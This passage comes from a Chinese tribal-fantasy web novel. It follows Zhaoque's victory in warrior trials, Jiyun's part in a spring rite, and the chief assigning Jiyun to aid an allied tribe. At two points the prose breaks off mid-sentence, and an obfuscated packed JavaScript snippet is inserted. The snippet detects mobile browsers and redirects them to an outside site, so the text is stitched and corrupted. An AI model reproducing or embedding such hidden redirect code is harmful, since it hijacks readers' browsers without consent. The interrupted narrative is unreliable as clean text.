此时的沙场上,十几个年轻的战士正两两对练,骨刀碰撞声此起彼伏。昭鹊没有立刻加入,只是沉默地观察。他的目光扫过每一个人的动作。那个高个子出刀太急,下盘容易不稳,还有矮壮的那个人力道虽然狠,但是转身时总会露出破绽…… “那边那个!”角师粗犷的嗓音打断了他的思绪,“别傻站着,也上来!” 场边顿时响起几声嗤笑。场内几个比昭鹊年长的男人交换着眼神——谁都知道,这是那个东边寡妇养大的外族孩子,一直瘦瘦小小的。哪怕现在长高了许多,看起来却也还是一副弱不禁风的样子。 昭鹊好似没听见那些笑声,闻言只是抿了抿唇,随后迈步走向场中央。他的脚步轻巧,与林间小山猫踏落叶的模样有几分相像。 站在面前的对手是个比他壮实一圈还高出大半个头的汉子。汉子看着他咧嘴露出挑衅的笑:“小心点昂娃娃,别说我欺负人——” 然而话音未落,昭鹊的长骨刀已抵上了他的喉咙。 场内外霎时一静。刚刚还纠缠殴打在一起的男人们也都停下看向这边。 没人看清他是怎么出手的。那把差不多有他半身长的骨刀,在他手中轻若无物,像一道影子掠过,等众人回过神时,他的骨刀尖就已经点在了对手的颈侧,再往前半寸就能见血。 而那少年的面上却依旧平静,仿佛刚才只不过是抬了抬手,做了什么寻常的动作。 五年前那个连木刀都拿不稳的孩子,如今却握着真正战用的长骨刀,手臂平举,刀身稳稳停在半空,一动不动的。 “这怎么可能……”刚刚还十分嚣张的汉子喉结不自觉地滚动,冷汗已经顺着太阳穴滑下了。 他分明记得四年前的大比。虽然不是他亲自动的手,却亲眼看见这个瘦小的男孩被另一个半大的少年一拳就打趴在地上,咳得直不起腰。 昭鹊的眼神依旧平静,但握刀的手指却微微收紧。 没人知道,为了能稳稳握住这把刀,他曾无数次在用麻绳绑着石头练腕力,直到掌心磨出血泡。这出刀的速度,是他在数不清的日夜交替中对着树干挥刀上千次,直到双臂肿得抬不起来。 “取巧罢了!方才角师分明还没下令!”那落败的汉子很不服气,梗着脖子硬声道。 昭鹊收刀退后,没理会对方的话。 场边观看的总角师眯起眼睛,眼中掠过一丝赞赏。他犹记五年前这男孩瘦弱的模样,长得挺白净,一看就不是扛刀的料。 偏偏又是萨满长老领来的人,他纵有不情愿也只能先收下。至于收了之后沉浮如何,就挨不着他一个角师的事儿了。 毕竟这场上的全都是真枪明刀,谁都不是来闹着玩的。以往族里有人在训练场被打死的事也不少,只要折损的不是西边那些长老家里的贵裔,也无人深究。 总角师清楚地记得那时昭鹊连最基础的劈砍动作都做不好,而现在却能将重骨刀使得行云流水。 这不是天赋,这是把血肉都磨进刀柄里,才换来的本事。 “再来!”总角师兴致一下子上来了,冲外围的几个人招了招手。 这一次,上来了两个人。昭鹊微微眯眼。他的指尖轻轻摩挲刀柄,那是阿妈特意找人用鹿骨给他磨的,柄上还缠了防滑的草绳。 两个人一左一同时扑来。 左侧的刀横扫下盘,右侧的则直取咽喉。昭鹊却突然矮身,骨刀贴着地面划出一道弧光,逼得左侧那人踉跄后退,同时他拧腰旋身,右手一把扣住右侧持刀人的手腕,用力一拧。 “啪”得一声,骨刀落地。 而原本左边那人却没给昭鹊喘息的时间,他只往后退了两步就稳住了身形,再次挥着刀冲了上来。 昭鹊却像早有预料般后仰,刀锋擦着他的鼻尖划过,他却巧妙地借助一个测滚避开了那一刀,同时手中骨刀贴着地面横扫而过。随即“砰”的一声,左侧那人的膝盖竟被他的刀背重重击中,壮汉立马跪倒在地。 等他忍住膝盖的剧痛再抬起头,少年的刀尖已在他眼前了。 场边传来倒吸冷气的声音。几个原本懒散观望的战士不知不觉站直了身子,眼神渐渐变了。今非昔比,五年前还被嘲笑是“豆芽菜”的孩子,如今却能一人放倒好几个比他高大强壮的汉子了。 “这小崽子……有点东西啊。”场外一个年纪大的角师低声道,“上次一对二还是好几年前的事吧?是二少没错吧?” “二少那时候可不止两个。”另一个角师盯着昭鹊流畅如水的动作,“厉害确实是挺厉害的,但二少那时候才几岁呀,还是没法比。” “二少那是天赋异禀么?我瞧是被族长逼的!没用的,现在还不是……” 昭鹊没听到这些,只觉自己心跳有些急促。 汗水顺着他的下颌滑落,滴在锁骨上,又隐入粗麻衣领,有点痒。他的脸颊因刚刚一连串的急遽动作泛起了些许薄红,倒是衬得那双黑眸越发清亮,面上瞧着平静无澜,眼底却藏着未平的动势。 “好小子!” 总角师洪亮的声音压过嘈杂,他大步走来,人群自动分开一条路,场内外的一众人就自觉地给他让出了路。总角师于是快步走到昭鹊面前,“从今天起,你就是真正的战士了!” 场边的欢呼声如潮水般涌来,却仿佛隔着一层雾,模糊不清。昭鹊站在原地,骨刀垂在身侧,刀尖还沾着沙土。几个年轻战士忍不住凑上前,有人拍掌叫好,也有人交头接耳地出声。 “真是当初东边来的那个小崽子?我们这群人连这样细胳膊细腿的小东西都比不过?” “你就不肯认别人的本事,自己没用反倒是不敢认,比不过就是比不过嘛……” 总之无论是什么缘由,这个结果就是此刻场内的人所盼的。毕竟成为族中掌权者认可的战士,意味的是更多的食物和资源、更趁手的武器,甚至是族中的地位和族人的尊敬。 昭鹊对这些议论恍若未闻。他没觉得高兴,也懒得回应这些人制造出来的动静,只是抬手将散落的长发别到耳后,露出那张被头发挡着的脸。 少年眉如刀裁,眼若点漆,偏偏唇色红润,像 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他比同行的几人都要高不少,宽肩窄腰的身形早已有了族长年轻时的影子,可眉眼间却带着几分年轻人特有的清朗。 只是他裹着一件旧皮袄子,毛边已经有些变色,看不出是什么动物身上的皮。这身行头和周围几个与他年纪相仿,却装扮奢贵的青年差了可不是一星半点儿。 没等既云将视线收回,一个满身横肉,正指挥完两个奴隶把刚猎到的野兔捆好的胖子就大笑了一声,随即开口:“还能是什么?四年一次的大比呗。” 这是祝竺长老家的大公子。 一旁的另一个青年年纪稍小,听着一下子来了兴致:“上次我才十四岁,我阿妈还管着我不让去,女人就是胆小,顶多也只是死几个人嘛——说起来这些人干嘛那么拼命?” 他说着踹了脚旁边蹲着的奴隶:“去,问问看死了几个。” “那谁知道,反正老子没在里面待过。”胖子随口接道,但随即又想起什么似得突然转向一边的既云,“喏,咱们二少爷晓得,你问他呗——要不然你就自己去瞧两眼。” 在他看来,这位二少长年累月和他们这帮人混在一起,自然也是差不多的货色。何况胖子他们也从没见既云为什么话变过脸色,更不觉有什么可顾忌了。 既云闻言轻挑了挑眉,草茎在齿间转了个圈。他顺着胖子的话思忖了两秒,还真忆起了自己年幼时被阿爸扔进沙场的那段日子。 既云下意识地想起自己肋下的一道陈年疤痕。那就是他在面前这片沙地里摸爬打滚时,被一个汉子“不小心”划的。当时的血把半截袖子都浸透了,应该是疼得不行,不过他现在倒是记不清了。 总之他那混账阿爸以前看不上他,连带着那群拜高踩低的蠢货也一块儿不把他当回事了。 于是后来会有人故意用刀背抽他,也有人趁他倒地时碾他的手指。更有不知自己是什么货色的东西掐过他的脸,说什么“怎么长得像个女孩”之类的话。 这样的鬼日子,既云边上这几个养尊处优的傻孩子们没经历过——他们生来拥有的就已经比沙场里那些人穷尽一生得到的多得多,自然不懂那些人做什么拼命抢几块破牌子。 想到这儿,既云忽然下意识地把手移到了腰间,却空无一物。他愣了一下,这才想起自己今日没带刀出门。 年纪小的青年半晌没得到回应,却见既云已经盯着那沙场的方向出了神。正巧刚刚那个奴隶回来了:“听说已经死了两个了。” “哦。”青年若有所思地点了点头,还没来得及说什么,既云偏偏又开口了。 “嗯,也没什么看头。”既云只觉心里头兴致索然,唇角却还是扬起了惯常的轻佻弧度,看起来多了几分痞气。 他说完就转身了,只是头也不回地摆了摆手。,拖着长长的声音:“萨满老头还等着我去商量春祭的事呢,你们自个儿玩去。” 他没走两步,便听见胖子已被瘦子说动,跟着一起去了沙场。 料峭的春风吹得他碎发乱飘,耳垂上的狼牙坠子也跟着又晃了好几下,叫他整个人看起来既野性又慵懒。 既云衔着根枯草,独自站着出了会儿神。待他们远去了,才接着朝反方向行去,背影在残阳里拉得又细又长。 6.卷一·二 风从南边的矮坡上卷过来,同样带着点初春的冷冽,既云不自觉地紧了紧身上的旧皮袄子,觉得自己放纵久了,这具身体大约真是有点不中用了。 若是从前,方才那类不切实际的心思,但凡在脑海中冒了头,立马就会被他摒除掉。 别人都是忆苦思甜,他还不至于想不开到放着现在舒心的好日子不过,去想以前那些有的没的。人还是得活得稍微糊涂点儿,总好过在一些无谓的事情上耗费精力。 远处,萨满长老的帐篷孤零零地立在一片开阔地上,兽皮拼接的篷顶在风中微微鼓动。 帐篷外竖着几根削尖的木桩,上面挂着看不出品种的兽骨和羽毛,被风吹得轻轻碰撞,发出空洞的脆响,隔着老远就能听到。 那些骨头上刻满了密密麻麻的符号,像是某种古老的语言,又像是孩童随手划下的涂鸦——反正既云是一个字也看不懂的。 他掀开帐篷的毛皮帘子,浓重的熏草味和兽脂燃烧的腥气立刻扑面而来,呛得他皱了皱鼻子。帐篷里光线昏暗,只有几盏骨灯摇曳着微弱的光,将那些悬挂的兽骨影子拉得扭曲变形,像一群张牙舞爪的幽灵。 “……” 既云不动声色地叹了口气。也难怪他那精明的老爹总是看不惯这老头,回回过来这儿都是这副鬼样子,说是邪教的老窝也不为过。 萨满长老正背对着他跪坐在一块铺开的鹿皮上,佝偻的脊背像一张拉满的弓。老人枯瘦的手指正摩挲着一块平整的肩胛骨,骨面上刻满了交错的线条,在火光下显得有些诡异。 “来了?”萨满长老听到动静头也没回,他声音沙哑得像砂纸摩擦,“站那儿别动,让我把这卦看完。” 既云挑了挑眉,没吭声。 他像个没见过世面的小崽子一样环顾四周,帐篷里堆满了稀奇古怪的玩意儿。角落里摞着一叠打磨光滑的龟甲,边缘被熏得焦黑,墙上挂着一排大小不一的兽角,每只角尖都系着彩色布条。 最显眼的是正中央那根足有成人高的木头拐杖,杖身缠满了五颜六色的布条,顶端绑着一簇灰白的狼尾毛,随着帐篷里的气流轻轻晃动。 他的目光最终落在帐篷另一侧,那里悬着件五彩斑斓的祭袍。苍狩族的族长之子,年满二十行过成年礼后,须随族中萨满主理一次祭祀,这便是他明日春祭要着的衣裳。 只是那袍子缀满纹饰,厚重得恍若一座可移动的毡房。上边还缝满了彩色的布片和兽牙,下摆缀着密密麻麻的小铃铛,稍微一碰就会响个不停,也不知是老头从哪弄来。 既云还是个小崽子的时候,最怕这身行头,总觉得穿它的人不是要跳大神,是要吃小孩,连带着萨满这个人都有些畏惧。 “东南方有乌云。”萨满长老突然开口,枯枝般的手指在骨面上划过,“明日的风会很大。” 既云没理他,而是随手拨弄了一下挂在旁边的骨铃,叮叮当当的声音让老人终于回过头来。 萨满长老的脸像一块风干的树皮,乍看确有几分话本里吃人鬼的气势。他如今已经快九十岁了,但那双眼睛却依旧神采奕奕的,虽然眼白泛着不正常的黄,瞳孔却黑得像两个深不见底的洞。 既云年幼时一直觉得这老头看人不像在看活物,似乎除了在他眼里除了归川和圣石,别的东西都入不了他的眼。如今既云长大了,反倒觉得自己理解了一些。 兴许在老头眼里,他们这些人和他研究的卦象,也没什么大差别。 相传,这世上有些人天生就能感知自然中的灵气流动。他们能听见风中的低语,看懂云层的预示,甚至能触摸到大地深处的心跳。这些人往往成为各族群的萨满。 也正是他们的存在才让这片土地上的人对归川那无形无相却又无处不在的天地的神有所感知,又保持敬畏。 族里还有一个说法,说是萨满的魂能离体游荡,眼睛能看到常人看不见的东西。比如缠绕在人身上的厄运,或者潜伏在阴影里的邪祟。 甚至族里那些哄小孩睡觉的故事还说萨满能与归川对话,能读懂风的走向、云的形状、兽群的迁徙什么什么的。 但这些毕竟都是骗小孩玩的,既云长大一点后就知道其实萨满根本没有传闻里说的那么神乎其神,自然也就没那么怕了。 说白了,他们也不过是些精通占卜风水之术的普通人而已。 不过假的归假的,本事和话语权还是有的。每次只要萨满长老预言了什么,族人们都会照做,仿佛稍有怠慢,就真的会触怒那看不见的神灵似的。 “瞎动什么?”萨满长老对既云刚刚拨动骨铃的行为表示不满。 他颤巍巍地站起身,拄着那根花里胡哨的拐杖,布条相互摩擦发出窸窸窣窣的声响。他凑到既云面前,身上散发着陈年草药混合的怪味,自觉语气没什么问题地开口道:“好久没见了,二少。” 青天大白日的装神弄鬼什么。 既云不动声色地后仰,避开那股味道。心想得亏这会儿外面是大白天,站在这儿的人又是他,不然非得被这老东西吓死不可。 “既然过来了,就省得我再找人去送一趟。”老人突然转身,将一件东西抛给既云。 既云接住那件沉甸甸的祭袍,彩色的布条和铜铃哗啦作响。他皱着眉头想到了自己明天穿这玩意儿的样子,觉得有些滑稽。结果一抬头,就看见老头又在瞪着他看。 萨满长老的帐篷里,骨灯的火苗在风中微微摇曳,将老人沟壑纵横的脸映得忽明忽暗。 既云站在帐篷中央,总觉得他看自己的眼神格外刺人。那对浑浊发黄的眼珠像是能洞穿皮肉,直接看进他心里去——那些他刻意掩藏的烦躁,压在记忆深处的旧伤,甚至是他此刻莫名其妙涌上心头的一个问题。 他于是鬼使神差地开口道:“当年……” 既云听见自己的声音飘在空气里,轻得几乎听不见,“……您真的什么都没算到?” 此话一出口他就意识到了自己的失言,既云略带歉意地看了萨满一眼,没再吭声——萨满算的都是天地间的事,再不济也是族里的大事,哪会去管这其中一个无关紧要的人。何况那件事也与萨满无关。 这些道理既云都是懂的,他哪有在这儿质问的资格。 既云虽然没有明说,但萨满长老还是猜到了。他张了张嘴,最终只是长长地叹了口气,脊背似乎更佝偻了几分。 “去准备明天的祭礼吧,”他转身背对既云,声音突然变得疲惫,“归川都看得见。” 既云盯着老人瘦削的背影看了许久,最终一言不发地转身离开。掀开帐帘的瞬间,外边刺眼的白光让他有些不适应地闭了闭眼。东边传来隐约的鼓声,春祭的准备工作估计已经差不多了。 他走了两步忽然朝远处东南方的天空看了一眼。 只见那东南方的天际线处,云层正在以一种不自然的姿态堆积,边缘泛着铁灰色的暗光,还真有点要凝成片乌云的意思。 …… 次日寅时,东边祭祀石周围已经围满了族人。 每年只有春祭和秋祭时,东边这片靠近丛林的区域才得如此热闹。苍狩族的祖先们早就知道,此地邻着树林,凶险暗藏,时有发狂暴走的野兽从林间冲出,故而将族群的重心放在西边平原中心,除了定期巡逻的战士,只有那些被族里放弃的人才会住在东边,生死凭天命。 三四月的天气还带着寒意。苍狩族的祭祀圣石是一块除了大和形状十分不规则以外看不出有什么别的特殊的普通巨石,此刻正被初升的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16347612|182802||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 朝阳镀上一层金红色的光晕。 传说苍狩族的祖先们游历至此,正是被这块圣石周围的奇异景象所吸引。这里灵气充沛,草木格外茂盛,连土地都比别处肥沃。更神奇的是,无论别处如何旱涝成灾,圣石周围十里总能风调雨顺。先祖们认定这是归川赐予的福地,便在此定居下来。 数百年过去,当初的小族已然发展成雄踞平原的大族。而这块圣石周围,也成了东南隅区域最富庶的所在。 萨满长老曾经说过,像这样的圣石在这片土地上还有两处,形态各异却都蕴含着神秘的力量。而且但凡以圣石为中心建立的族群,无一不是苍狩族这样历史悠久、资源丰沛的大族。 不像那些依附于他们的小族群,往往兴盛几十年就会在在战火或天灾中湮灭。 萨满长老还在捣鼓他那祭铃的系绳,铜片碰撞的声响在肃穆的空气中格外清脆。 既云站在一边,百无聊赖地扫视着人群。他的视线随意掠过,族人们脸上是清一色的敬畏神情。 偏在此时,他眼角的余光忽然瞥见外围那棵老梨花树下,竟还立着个人。那少年独自一人静立于树影之中,与周遭人群的喧嚣骚动截然不同,只那么一瞬,便落入了既云的眼底。 他的视线一下子便不由自主地黏了上去。 少年的身形单薄而修长,粗麻衣的袖口被风灌得满满的,不住地往两边掀动。他站得那棵树本就离人群有些距离,配上那副心不在此的模样,仿佛真与旁人隔了道看不见的界线。 猎人的本能让既云捕捉更多细节。那截露在衣领外的脖颈,松松地束在脑后的黑发有几缕被风吹得贴在脸颊边,还有垂在身侧那骨节分明的手指。噢,他身侧还挂着把骨刀。 既云不由又多生出几分兴致,隔得老远却已将人仔仔细细地打量了个遍。 他看起来十七八岁的模样,眉目清秀,原本应给人温润柔和之感。可偏生着少年脸上没什么表情,叫那份柔和一下褪去大半,反倒透出几分疏离的冷淡,像蒙着层薄霜,让人难生亲近之感。 他似乎是等得无聊了,正仰头看着那满树的梨花。 三四月的风掠过枝头,雪白的花瓣便扑簌簌地落下来,有几片沾在了少年的发梢和肩头。他却忽然伸出手,恰好接住一瓣飘落的梨花,指尖轻轻捻着那抹白色凑到鼻尖。这垂眸细嗅的摸样叫既云看了一眼,就想起林子里低头饮水的绒鹿幼崽,平和又温顺。 祭坛上的铜铃突然“哗啦哗啦”作响。 “发什么呆?!”萨满长老沙哑的声音在既云耳边炸开,他这才惊觉自己竟看得出了神。老人才不管那么多,语气不善地冲他道,“开始了。” 既云仓促接过兽骨,忍不住又往那梨树下瞥了一眼。却见一个瘦小的中年妇人正拽着少年的手往人群里走,转眼就消失在攒动的人头中。 他机械地听着萨满的指挥。台下黑压压的一片,所有人的目光都聚集在这个穿着祭袍的青年身上,可他自己的魂却早已经飘到十万八千里之外了。 以至于祭词念到一半时卡了壳,还惹得老萨满狠狠瞪了他一眼。好在最后也算是有惊无险地结束了。 只是心中还有所牵挂的二少独自在站在渐渐散去的人群中,还在搜寻着刚刚那个身影。可满眼都是灰褐色的粗麻衣衫,哪还分得清谁是谁。他一时间觉得自己像个毛头小子,就这么莫名其妙地为个连萍水相逢都算不上的人乱了心神。 但既云转眼又给自己找了个合适的由头,这世上哪有人不爱赏心悦目之人,他又不是什么超脱世俗之人,见了好看的人心有所动不过人之常情。 风过梨花树,又一场花雨纷纷扬扬地落下。雪白的花瓣打着旋儿坠入泥土,转眼就被纷至沓来的脚印碾作尘泥。 7.卷一·三 第二日的清晨,空气里还裹着昨日祭祀未散的香火气。既云踩着露水往萨满长老的帐篷走,手里捧着那件沉甸甸的祭袍。 上边的铃铛随着他的脚步叮当作响,惊起草丛里几只灰雀,扑棱棱地飞向天际。东南方远处天空上的乌云果然凝成了片,低低压着远山,像一张浸了水的灰布。 老萨满的帐篷门帘紧闭,兽皮上凝结的晨露还没干透。既云掀了掀帘子,却发现门是锁着的——老头竟不在。他于是转念一想猜测萨满长老是去族长那汇报昨天春祭的事了。 可是祭袍不能不还,老神棍又不知道什么时候回来。既云没有在人家家门口蹲到天昏地暗的耐心,也懒得再过来一趟——这花衣服萨满长老宝贝的很,坚决要他亲自来送。 既云只觉得自己从西边走到南边已经白跑了一趟,不如回自己帐子时顺路去他那族长老爹的帐篷一回。到门口差个人送进去,总不能再说他什么了吧。 然而二少这算盘到底还是打早了。 那顶绣着狼头的庞大华贵帐子立在营地中央,帐前侍卫林立。回去的路上,既云只是经过,甚至还与主帐隔了一小段路,那群侍卫们却已经远远地瞧见了。 这帮狗腿们连一秒的犹豫都没有,直接转身掀帘子进去通报了。 既云见状额角一跳,心里轻叹自己轻敌。他的阿爸精得很,全族上下除了都是眼线,哪怕是一丁点的风吹草动,只要是族长问了,就没有得不到答案的可能性。 他就算想避着,也要看是他爹想不想见他。他心里仍然记得多年前他还是的小鬼时,那个威猛高大的男人看向他的眼神。没有半分父子温情,只有漠然和不加掩饰的厌弃。 好在那次阿旦暮很快就叫他滚了,仿佛这个儿子多待一会儿都会污了眼。只是今日属实有些奇怪,他日日从这主帐前经过也从没人注意过,难不成是有什么事? 然而这个念头才刚在脑子里一闪而过,既云就看见一个侍卫小跑着到了他面前,冲他行礼:“二少,族长请您进去。” “……” 既云闭了闭眼,他无奈地踱步至帐前,哀莫大于心死地掀开了帘子。独特的香薰气息扑面而来,混合着皮革的味道,瞬间与他记忆深处熟悉的气味撞到了一块儿。 帐内,族长阿旦暮端坐在皮椅上,身形依旧剽悍魁梧,威风一也如往昔。只有鬓角的灰发和眼角的细纹,是岁月留下的唯一痕迹。 萨满长老则佝偻着背坐在在一旁,枯瘦的手指摩挲着那根缠满布条的拐杖。 然而除了这两位以外,帐子里还跪坐着一个陌生面孔。那人裹着一件褪色的麻布长袍,边缘已经磨出了毛边,腰间系着一条用草绳编成的腰带。他面黄肌瘦,颧骨突出,干裂的嘴唇上还带着血痂,脚上套着的草鞋更是已经磨破,露出冻得发紫的脚趾,此刻正局促地蜷缩在袍子下摆里,一看就是长途跋涉而来。 既云一眼确认此人并非苍狩族人。果然那人转头看见他时眼神茫然,很快又转回族长的方向。 既云敏锐地察觉到他们三人应该是在商议什么事情,正常就算不是这种时候,他的族长老爹大概率也是不想见他的。再看那衣衫褴褛、面容憔悴的外族人,他猜想此人应当是依附于苍狩族的某个小族群派来的,八成是来求援的。 既云何等聪明,心里一转便明白了个七七八八。只是不知道究竟是什么事,阿爸非要把他给叫来——总不能是突然良心发现了吧? “阿爸。”他于是扯出了个笑容,耳垂上的狼牙坠子随着他低头的动作一晃,衬得他的气质越发张扬。 果然这一声出口,刚刚那外族人立马又转回来看了既云一眼。只是这回看他的神色也不一样了,或多或少地带了点尊敬。既云礼貌性地冲外族人点了点头,然后转向另一边:“萨满长老。” 萨满一见他就来气,神色不善地瞥了他一眼便转开了脑袋,颈间的兽骨项链轻轻晃出一阵细碎的声响。 既云自然是知晓这火气的源头的,只好别开视线,却不期然又想起昨日那站在梨花树下的身影。 他见过太多人面对圣石与归川时或敬畏或狂热的神情,却从未见过有人能在这样的场合里,依然保持着那般遗世独立的姿态,不声不响,却让人移不开眼。 可惜既云还没从自己的心猿意马中品出什么结论来,阿旦暮的目光像柄钝刀般刮过他的脸。既云已经准备好迎接劈头盖脸的训斥,却听父亲只是冷哼了一声。 “坐下听。”族长简短地命令道,下巴朝萨满旁边的空位扬了扬。 既云于是依言在萨满长老身边坐下,白白地又挨了这老头的好几个白眼。不过他平时不要脸的事做得多了,自然不怕这点,权当没看见。 毕竟相比之下,还有一个人更值得注意。既云发现,自从知道了他是苍狩族长之子后,那外族人就一直有意无意地在打量自己。 他大概能理解对方的动机。他们三人原本毕竟是在商讨什么事,族长忽然将另一个人召见进来,还让他留下听着,那么大约就是要此人一同拿意见。若非如此那就只有第二种可能,族长是要把事情交给这个人来办。 以既云在族长心里的地位显然不是第一种情况,那便只能是后者了。这外族人心里现在大约是认定了眼前这位苍狩族的公子就是那位办事的人,所以忍不住这样不停地看。 敢情是在这儿等着他呢。 既云这么想着便叹了口气,只叹自己连混日子都不能长久,随即又开始琢磨自己那死鬼老爹做什么放着族里一大堆能人不用,反倒想起了他。 既云确实没猜错。从既云被叫进来,又得知他的身份后,外族人就开始仔细打量这位少公子了。 此人虽是族长之子,可与苍狩族长阿旦暮却只有五六分相似。相较之下,这位公子的面容更精致些,眉眼间少了族长那股逼人的凶悍,反倒透出几分俊逸,想必是随了母亲那边。 可他的身形似乎又很好地继承了他的父亲,丝毫不显文弱,肩宽腿长,裹在旧皮袄下的肌肉线条流畅而结实,一眼看去就晓得这是练过的人。 唯一显得格格不入的,大概就是他耳垂上那枚打磨得十分光滑的狼牙坠子,明明是很普通的样式,却衬得他一身张扬的轻佻气。外族人正暗自揣测这位公子的性情,冷不防对方却忽然冲他笑了一下。 那笑容很温和,甚至称得上礼貌,可外族人却莫名觉得脊背一凉。他只觉这人面上虽然笑着,但这笑意却不达眼底,反而透着一股隐晦的锐利。 他立刻低下头,不敢再直视了。他不是没见过自己族群里族长长老们家里的公子们,其中也有不少有野心和本事的,却从没有刚刚见到既云笑时的那种感觉,疑心此人绝非表面看起来那般玩世不恭。 既云本是碍于不大习惯被这样打量,于是才友好性地露出了一个笑容来。却不知自己这笑出了什么差错,只见那人在对上自己视线的一瞬,蓦得抖了一下,然后就再不抬头了。 既云:“……” 他自觉相貌还算过得去,笑起来应该也不至于这样吓人吧。 没等二少琢磨明白这其中的原因,却听到阿旦暮开口叫那个外族人把方才他还没来时说的话再说一遍。 原来此人名叫伊莫,是祥山族族长身边的贴身侍卫。祥山族与猎鹰族本是相邻而居的两个小部落,皆依附于苍狩族,多年来井水不犯河水。 可不知为何,猎鹰族突然翻脸,先是威逼利诱祥山族高层同意合并或者将水源重新分一部分给他们,被拒绝后,竟在深夜发动突袭,烧毁粮仓,屠杀祥山族人。 伊莫的声音有些沙哑,说到一半时,还突然剧烈咳嗽起来,喉咙里发出粗重的喘息声。 “……当天夜里我们拼死突围,族长便命我来向苍狩族求援。”伊莫艰难地咽了咽唾沫,“我、我日夜兼程,才到……” 他说着说着便好像又想起了当时的场面,忍不住声泪俱下,声音也跟着颤抖起来,已然忘了自己这已经是在复述第二遍了。 既云不动声色地观察着对方,心里已经有了判断。猎鹰族突然发难,必有缘由,而祥山族能撑到伊莫突围求援,说明并非毫无反抗之力。如若苍狩族愿意出手,或许祥山族的命运确实还有转圜的余地。 但既云同样了解自己的父亲——依附于苍狩族的小族群少说也有十几二十来个。 且不说插手这些小族群之间的纷争对苍狩族来说毫无意义,他的父亲也从来不是什么会软心肠的人,但此时的状况,显然是阿旦暮已经答应伊莫的请求了。 若是此时阿旦暮能知晓既云心里的想法,也许会略微改变对自己这第二个儿子的看法。 的确如既云所想,他是不想管这些小族群之间的打闹的,可萨满长老偏偏又在这时候冒了出来。什么“东南方的乌云”、“归川的怒火”,这些莫名其妙的说辞全都来了,偏偏阿旦暮也不敢不信。 他记得自己壮年时还觉得自己的阿爸对这些神神鬼鬼的事信奉过头,对萨满长老也是太过于言听计从。所以阿旦暮刚接过族长之位的那段日子,虽然有时也会妥协,但决不会事事顺着萨满。 直到十几年前那次他带着精锐追击山炉族的残兵。当时眼看就要杀到对方的老巢,天边却突然涌来铺天盖地的黑云。暴雨引发的山洪冲散了苍狩族的阵型,反倒让山炉族残部得以逃脱。 而事发前萨满是告诫过他的。只是当时的阿旦暮觉得凭借自己作为猎人和战士多年的经验不会判断失误,加之原本山炉族败局已定,他一时急功近利,满心想着的都是赶紧解决对方,哪里还听得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16351513|182802||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 进去萨满长老的话? 阿旦暮的手指无意识地摩挲着手臂上的皮环。将近二十年过去,皮环已经被磨得发毛,也像他当年的锐气,在岁月中渐渐被磨损了。阿旦暮见过太多次萨满的预言应验,自然也不会像以前那样同他呛了。 年轻时他不以为然的,后来却也不得不承认,有些力量,的确不是人力所能抗衡的。而有些东西,即便人的肉眼无法看见,也不代表它就是不存在的,这样的东西,往往更需要提防。 “族长。”萨满低沉的声音将阿旦暮拉回现实。 他于是环顾一圈,看一眼那个狼狈的外族人,又瞥向了坐在一旁的既云。那小子正百无聊赖地捏着耳垂上的狼牙坠子,看起来和没事人似的。 一时间,他看向既云的眼神变得复杂难辨起来。这个儿子是他年轻时最不喜欢的一个。 那时阿旦暮还没有经历后来那些事,他曾经打心底里看不起自己那优柔寡断的心软爹,觉得他把苍狩族这样一个强悍族群里的凶兽都养成了软绵绵的羊,还收容了不少依附的小族群,诸如祥山族、猎鹰族之类的,都是那时候的事。 甚至还给当初刚上任的阿旦暮留了烂摊子。他的阿爸在位时不喜纷争,然族群之间的摩擦在所难免,何况是苍狩族这样历史悠久且雄踞一方的大族。 这世间强者林立,岂独苍狩一族独大?一旦弱势展现在外边,那些蛰伏于暗处虎视眈眈的之辈,自会寻时机群起而攻之。 只是说来可笑,当年和山炉族那场历经多年才结束的战争,原本是阿爸给他留下的祸患,偏偏又是为此,阿旦暮才懂了后来那些道理,反而从此收敛了不少锋芒。 彼时既云尚且年幼,阿旦暮又正当壮年,意气未消。见次子小小年纪,竟已有乃父那般温软怯懦的苗头,他当机立断,决意要磨一磨这孩子的性子。 他先是将半大的小既云丢进南边沙场,待其摸爬滚打着从里边出来,未及喘息,便又将他抛入林子里,任其自生自灭去了。 他的第三个女人水芝为这两件事还寻他哭诉了不知多少回。年轻时的阿旦暮并不为所动,只是想水芝从前也不是这样没脑子只会哭闹的蠢女人,如今却这副摸样。他愈发觉得自己没错,妇人心肠必然是成不了大事的。 好在既云虽然最后从林子里出来时已经半死不活了,但性子确实与年幼时完全不同了。岂料时隔几年,他又把自己混成了现在这副摸样。 这其中的缘由阿旦暮百思不得其解,分明是在沙场里摸爬打滚过了好几年,又凭借一己之力从危机四伏的丛林里拼杀出来的狠角色,却要自己荒废自己。 若不是近来山炉族边境的摩擦牵制了族中精锐,长子的婚事又不能耽搁,眼下实在抽不出人手,他也确实想不起次子。 “今日傍晚就出发。”阿旦暮收回思绪,沉声道。 旋即又招来了门口的侍卫:“去和总角师说,今年新领了牌子的战士全都跟着二少一起,叫他们见见血。” 外族人伊莫在听到这两句话后,那张苦大仇深的脸上终于带上了一丝喜悦,既云的眼角却忍不住抽了一下。 他原本还盘算着趁出发前的间隙,去族里打听打听那个昨天那个小孩,现在看来是没机会了。既云在心里啧了一声,说不上来是遗憾还是别的什么。 